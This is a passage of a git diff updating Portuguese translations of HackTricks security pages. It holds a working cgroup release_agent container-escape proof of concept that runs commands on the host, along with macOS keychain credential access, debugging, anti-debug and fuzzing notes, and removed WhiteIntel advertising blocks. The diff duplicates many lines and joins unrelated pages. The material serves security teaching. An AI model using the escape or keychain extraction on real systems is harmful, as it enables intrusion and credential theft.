touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
O teste de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo `release_agent` e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma quebra das etapas envolvidas:
A prova de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo `release_agent` e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma divisão dos passos envolvidos:
1. **Preparar o Ambiente:**
* Um diretório `/tmp/cgrp` é criado para servir como ponto de montagem para o cgroup.
* O controlador cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, é sugerido usar o controlador cgroup `memory` como alternativa.
* Um diretório `/tmp/cgrp` é criado para servir como um ponto de montagem para o cgroup.
* O controlador de cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, sugere-se usar o controlador de cgroup `memory` como alternativa.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Configurar o Cgroup Filho:**
* Um cgroup filho chamado "x" é criado dentro do diretório cgroup montado.
* As notificações são habilitadas para o cgroup "x" escrevendo 1 em seu arquivo notify\_on\_release.
* As notificações são ativadas para o cgroup "x" escrevendo 1 em seu arquivo notify\_on\_release.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configurar o Agente de Liberação:**
3. **Configurar o Release Agent:**
* O caminho do contêiner no host é obtido a partir do arquivo /etc/mtab.
* O arquivo release\_agent do cgroup é então configurado para executar um script chamado /cmd localizado no caminho do host adquirido.
```shell
@ -67,34 +54,22 @@ echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Desencadear o Ataque:**
5. **Acionar o Ataque:**
* Um processo é iniciado dentro do cgroup filho "x" e é imediatamente terminado.
* Isso aciona o `release_agent` (o script /cmd), que executa ps aux no host e escreve a saída em /output dentro do contêiner.
* Isso aciona o `release_agent` (o script /cmd), que executa ps aux no host e grava a saída em /output dentro do contêiner.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Principais Keychains
## Main Keychains
* O **User Keychain** (`~/Library/Keychains/login.keycahin-db`), que é usado para armazenar **credenciais específicas do usuário** como senhas de aplicativos, senhas da internet, certificados gerados pelo usuário, senhas de rede e chaves públicas/privadas geradas pelo usuário.
* O **System Keychain** (`/Library/Keychains/System.keychain`), que armazena **credenciais de sistema** como senhas de WiFi, certificados raiz do sistema, chaves privadas do sistema e senhas de aplicativos do sistema.
### Acesso ao Keychain de Senhas
### Password Keychain Access
Esses arquivos, embora não tenham proteção inerente e possam ser **baixados**, são criptografados e requerem a **senha em texto simples do usuário para serem descriptografados**. Uma ferramenta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pode ser usada para a descriptografia.
Esses arquivos, embora não tenham proteção inerente e possam ser **baixados**, são criptografados e requerem a **senha em texto claro do usuário para serem descriptografados**. Uma ferramenta como [**Chainbreaker**](https://github.com/n0fate/chainbreaker) pode ser usada para descriptografia.
## Proteções de Entradas do Keychain
## Keychain Entries Protections
### ACLs
@ -60,7 +47,7 @@ Além disso, a entrada pode conter a chave **`ACLAuthorizationPartitionID`,** qu
* Se o **apple** for especificado, então o aplicativo precisa ser **assinado** pela **Apple**.
* Se o **cdhash** for indicado, então o **aplicativo** deve ter o **cdhash** específico.
### Criando uma Entrada no Keychain
### Creating a Keychain Entry
Quando uma **nova** **entrada** é criada usando **`Keychain Access.app`**, as seguintes regras se aplicam:
@ -78,7 +65,7 @@ Quando um **aplicativo cria uma entrada no keychain**, as regras são um pouco d
* Nenhum aplicativo pode alterar as ACLs.
* O **partitionID** é definido como **`teamid:[teamID aqui]`**.
## Acessando o Keychain
## Accessing the Keychain
### `security`
```bash
@ -153,17 +140,6 @@ Se **apple** estiver indicado no **partitionID**, você poderia acessá-lo com *
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -175,7 +151,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -15,19 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Análise Estática
@ -155,7 +142,7 @@ Quando uma função é chamada em um binário que usa Objective-C, o código com
Os parâmetros que essa função espera são:
* O primeiro parâmetro (**self**) é "um ponteiro que aponta para a **instância da classe que deve receber a mensagem**". Ou, mais simplesmente, é o objeto sobre o qual o método está sendo invocado. Se o método for um método de classe, isso será uma instância do objeto da classe (como um todo), enquanto para um método de instância, self apontará para uma instância instanciada da classe como um objeto.
* O segundo parâmetro (**op**) é "o seletor do método que lida com a mensagem". Novamente, mais simplesmente, isso é apenas o **nome do método.**
* O segundo parâmetro, (**op**), é "o seletor do método que lida com a mensagem". Novamente, mais simplesmente, isso é apenas o **nome do método.**
* Os parâmetros restantes são quaisquer **valores que são necessários pelo método** (op).
Veja como **obter essas informações facilmente com `lldb` em ARM64** nesta página:
@ -167,14 +154,14 @@ Veja como **obter essas informações facilmente com `lldb` em ARM64** nesta pá
x64:
| **Argumento** | **Registrador** | **(para) objc\_msgSend** |
| ------------------| -------------------------------------------------------------- | ------------------------------------------------------ |
| **1º argumento** | **rdi** | **self: objeto sobre o qual o método está sendo invocado** |
| **2º argumento** | **rsi** | **op: nome do método** |
| **3º argumento** | **rdx** | **1º argumento para o método** |
| **4º argumento** | **rcx** | **2º argumento para o método** |
| **5º argumento** | **r8** | **3º argumento para o método** |
| **6º argumento** | **r9** | **4º argumento para o método** |
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
| ------------------ | ------------------------------------------------------------- | ------------------------------------------------------ |
| **1º argumento** | **rdi** | **self: objeto sobre o qual o método está sendo invocado** |
| **2º argumento** | **rsi** | **op: nome do método** |
| **3º argumento** | **rdx** | **1º argumento para o método** |
| **4º argumento** | **rcx** | **2º argumento para o método** |
| **5º argumento** | **r8** | **3º argumento para o método** |
| **6º argumento** | **r9** | **4º argumento para o método** |
| **7º+ argumento** | <p><strong>rsp+</strong><br><strong>(na pilha)</strong></p> | **5º+ argumento para o método** |
### Despejar metadados ObjectiveC
@ -200,7 +187,7 @@ objdump --macho --objc-meta-data /path/to/bin
#### ICDump
[**iCDump**](https://github.com/romainthomas/iCDump) é um dump de classe Objective-C moderno e multiplataforma. Comparado às ferramentas existentes, o iCDump pode funcionar independentemente do ecossistema da Apple e expõe bindings em Python.
[**iCDump**](https://github.com/romainthomas/iCDump) é um dump de classe Objective-C moderno e multiplataforma. Comparado às ferramentas existentes, o iCDump pode ser executado independentemente do ecossistema da Apple e expõe bindings em Python.
```python
import icdump
metadata = icdump.objc.parse("/path/to/bin")
@ -248,7 +235,7 @@ Observe que, para **instrumentar binários do sistema**, (como `cloudconfigurati
macOS expõe algumas APIs interessantes que fornecem informações sobre os processos:
* `proc_info`: Este é o principal que fornece muitas informações sobre cada processo. Você precisa ser root para obter informações de outros processos, mas não precisa de direitos especiais ou portas mach.
* `libsysmon.dylib`: Permite obter informações sobre processos por meio de funções expostas pelo XPC, no entanto, é necessário ter a permissão `com.apple.sysmond.client`.
* `libsysmon.dylib`: Permite obter informações sobre processos por meio de funções expostas pelo XPC, no entanto, é necessário ter a autorização `com.apple.sysmond.client`.
### Stackshot & microstackshots
@ -258,7 +245,7 @@ macOS expõe algumas APIs interessantes que fornecem informações sobre os proc
Esta ferramenta (`/usr/bini/ysdiagnose`) basicamente coleta muitas informações do seu computador executando dezenas de comandos diferentes, como `ps`, `zprint`...
Deve ser executada como **root** e o daemon `/usr/libexec/sysdiagnosed` possui permissões muito interessantes, como `com.apple.system-task-ports` e `get-task-allow`.
Deve ser executada como **root** e o daemon `/usr/libexec/sysdiagnosed` possui autorizações muito interessantes, como `com.apple.system-task-ports` e `get-task-allow`.
Seu plist está localizado em `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`, que declara 3 MachServices:
@ -280,7 +267,7 @@ No painel esquerdo do Hopper, é possível ver os símbolos (**Labels**) do bin
#### Painel do meio
No painel do meio, você pode ver o **código disassemblado**. E você pode vê-lo em um disassemble **bruto**, como **gráfico**, como **decompilado** e como **binário** clicando no ícone respectivo:
No painel do meio, você pode ver o **código desassemblado**. E você pode vê-lo em uma desassemblagem **bruta**, como **gráfico**, como **decompilado** e como **binário** clicando no ícone respectivo:
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
@ -288,7 +275,7 @@ Clicando com o botão direito em um objeto de código, você pode ver **referên
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
Além disso, na **parte inferior do meio, você pode escrever comandos em python**.
Além disso, na **parte inferior do meio, você pode escrever comandos python**.
#### Painel direito
@ -296,9 +283,9 @@ No painel direito, você pode ver informações interessantes, como o **históri
### dtrace
Permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo mudarem seu fluxo de execução. O Dtrace usa **probes** que são **colocados em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
Permite que os usuários acessem aplicativos em um nível extremamente **baixo** e fornece uma maneira para os usuários **rastrearem** **programas** e até mesmo mudarem seu fluxo de execução. Dtrace usa **probes** que são **colocadas em todo o kernel** e estão em locais como o início e o fim das chamadas de sistema.
O DTrace usa a função **`dtrace_probe_create`** para criar uma probe para cada chamada de sistema. Essas probes podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através de /dev/dtrace, que está disponível apenas para o usuário root.
DTrace usa a função **`dtrace_probe_create`** para criar uma probe para cada chamada de sistema. Essas probes podem ser acionadas no **ponto de entrada e saída de cada chamada de sistema**. A interação com o DTrace ocorre através de /dev/dtrace, que está disponível apenas para o usuário root.
{% hint style="success" %}
Para habilitar o Dtrace sem desativar completamente a proteção SIP, você pode executar no modo de recuperação: `csrutil enable --without dtrace`
@ -380,7 +367,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
Ferramentas como `latency`, `sc_usage`, `fs_usage` e `trace` a utilizam internamente.
Para interagir com `kdebug`, `sysctl` é usado sobre o namespace `kern.kdebug` e os MIBs a serem usados podem ser encontrados em `sys/sysctl.h`, tendo as funções implementadas em `bsd/kern/kdebug.c`.
Para interagir com `kdebug`, usa-se `sysctl` sobre o namespace `kern.kdebug` e os MIBs que podem ser encontrados em `sys/sysctl.h`, tendo as funções implementadas em `bsd/kern/kdebug.c`.
Para interagir com kdebug com um cliente personalizado, geralmente esses são os passos:
@ -457,7 +444,7 @@ Ele também verifica os processos binários contra o **virustotal** e mostra inf
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
No [**este post de blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) você pode encontrar um exemplo sobre como **depurar um daemon em execução** que usou **`PT_DENY_ATTACH`** para prevenir a depuração mesmo que o SIP estivesse desativado.
No [**este post do blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) você pode encontrar um exemplo sobre como **depurar um daemon em execução** que usou **`PT_DENY_ATTACH`** para impedir a depuração mesmo que o SIP estivesse desativado.
### lldb
@ -476,7 +463,7 @@ settings set target.x86-disassembly-flavor intel
Dentro do lldb, despeje um processo com `process save-core`
{% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inicia a execução, que continuará ininterruptamente até que um ponto de interrupção seja atingido ou o processo termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inicia a execução parando no ponto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua a execução do processo depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executa a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executa o restante das instruções na função atual (“frame”), retorna e para.</td></tr><tr><td><strong>control + c</strong></td><td>Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja atualmente executando.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualquer função chamada main</p><p><code>b &#x3C;binname>`main</code> #Função principal do bin</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Função principal do bin indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualquer método NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompe em todas as funções daquela biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de pontos de interrupção</p><p><code>br e/dis &#x3C;num></code> #Habilitar/Desabilitar ponto de interrupção</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/endereço de memória></strong></td><td>Exibe a memória como uma string terminada em nulo.</td></tr><tr><td><strong>x/i &#x3C;reg/endereço de memória></strong></td><td>Exibe a memória como instrução de assembly.</td></tr><tr><td><strong>x/b &#x3C;reg/endereço de memória></strong></td><td>Exibe a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isso imprimirá o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmonta a função atual</p><p>dis -n &#x3C;funcname> #Desmonta a função</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Desmonta a função<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um add até o outro<br>dis -p -c 4 # Começa no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verifica array de 3 componentes no reg x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime o mapa da memória do processo atual</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtém o endereço de todos os símbolos do CoreNLP</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inicia a execução parando no ponto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua a execução do processo depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executa a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executa o restante das instruções na função atual (“frame”) retorna e para.</td></tr><tr><td><strong>control + c</strong></td><td>Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualquer função chamada main</p><p><code>b &#x3C;binname>`main</code> #Função principal do bin</p><p><code>b set -n main --shlib &#x3C;lib_name></code> #Função principal do bin indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualquer método NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompe em todas as funções daquela biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de pontos de interrupção</p><p><code>br e/dis &#x3C;num></code> #Habilitar/Desabilitar ponto de interrupção</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/endereço de memória></strong></td><td>Exibe a memória como uma string terminada em nulo.</td></tr><tr><td><strong>x/i &#x3C;reg/endereço de memória></strong></td><td>Exibe a memória como instrução de assembly.</td></tr><tr><td><strong>x/b &#x3C;reg/endereço de memória></strong></td><td>Exibe a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isso imprimirá o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmonta a função atual</p><p>dis -n &#x3C;funcname> #Desmonta a função</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #Desmonta a função<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um add até o outro<br>dis -p -c 4 # Começa no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verifica array de 3 componentes no reg x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime o mapa da memória do processo atual</td></tr><tr><td><strong>image dump symtab &#x3C;library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtém o endereço de todos os símbolos do CoreNLP</td></tr></tbody></table>
{% hint style="info" %}
Ao chamar a função **`objc_sendMsg`**, o registrador **rsi** contém o **nome do método** como uma string terminada em nulo (“C”). Para imprimir o nome via lldb faça:
@ -499,8 +486,8 @@ Ao chamar a função **`objc_sendMsg`**, o registrador **rsi** contém o **nome
* Também é possível descobrir **se um processo está sendo depurado** com um código simples como:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //processo sendo depurado }`
* Ele também pode invocar a chamada de sistema **`ptrace`** com a flag **`PT_DENY_ATTACH`**. Isso **impede** que um depurador se anexe e trace.
* Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware pode importá-la dinamicamente)
* Como observado neste relatório, “[Derrotando Técnicas Anti-Debug: variantes do macOS ptrace](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
* Você pode verificar se a função **`sysctl`** ou **`ptrace`** está sendo **importada** (mas o malware poderia importá-la dinamicamente)
* Como observado neste artigo, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_A mensagem Process # exited with **status = 45 (0x0000002d)** é geralmente um sinal claro de que o alvo de depuração está usando **PT\_DENY\_ATTACH**_”
## Core Dumps
@ -511,17 +498,17 @@ Core dumps são criados se:
* Se o processo não era suid/sgid ou `kern.sugid_coredump` é 1 (por padrão é 0)
* O limite `AS_CORE` permite a operação. É possível suprimir a criação de core dumps chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`.
Nesses casos, o core dump é gerado de acordo com o sysctl `kern.corefile` e armazenado geralmente em `/cores/core/.%P`.
Nesses casos, o core dump é gerado de acordo com o sysctl `kern.corefile` e geralmente armazenado em `/cores/core/.%P`.
## Fuzzing
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **analisa processos que falham e salva um relatório de falha no disco**. Um relatório de falha contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de uma falha.\
Para aplicativos e outros processos **executando no contexto de launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falha no `~/Library/Logs/DiagnosticReports/` do usuário.\
Para aplicativos e outros processos **executando no contexto de launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falha nos `~/Library/Logs/DiagnosticReports/` do usuário.\
Para daemons, outros processos **executando no contexto de launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de falha nos `/Library/Logs/DiagnosticReports` do sistema.
Se você está preocupado com relatórios de falha **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, os relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
Se você está preocupado com relatórios de falha **sendo enviados para a Apple**, você pode desativá-los. Se não, os relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -541,7 +528,7 @@ Enquanto fuzzing em um MacOS, é importante não permitir que o Mac entre em mod
#### SSH Disconnect
Se você estiver fuzzing via uma conexão SSH, é importante garantir que a sessão não vai expirar. Portanto, altere o arquivo sshd\_config com:
Se você estiver fuzzing via uma conexão SSH, é importante garantir que a sessão não vá expirar. Portanto, altere o arquivo sshd\_config com:
* TCPKeepAlive Yes
* ClientAliveInterval 0
@ -631,18 +618,6 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,57 +1,44 @@
# Dumping de Memória do macOS
# macOS Memory Dumping
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
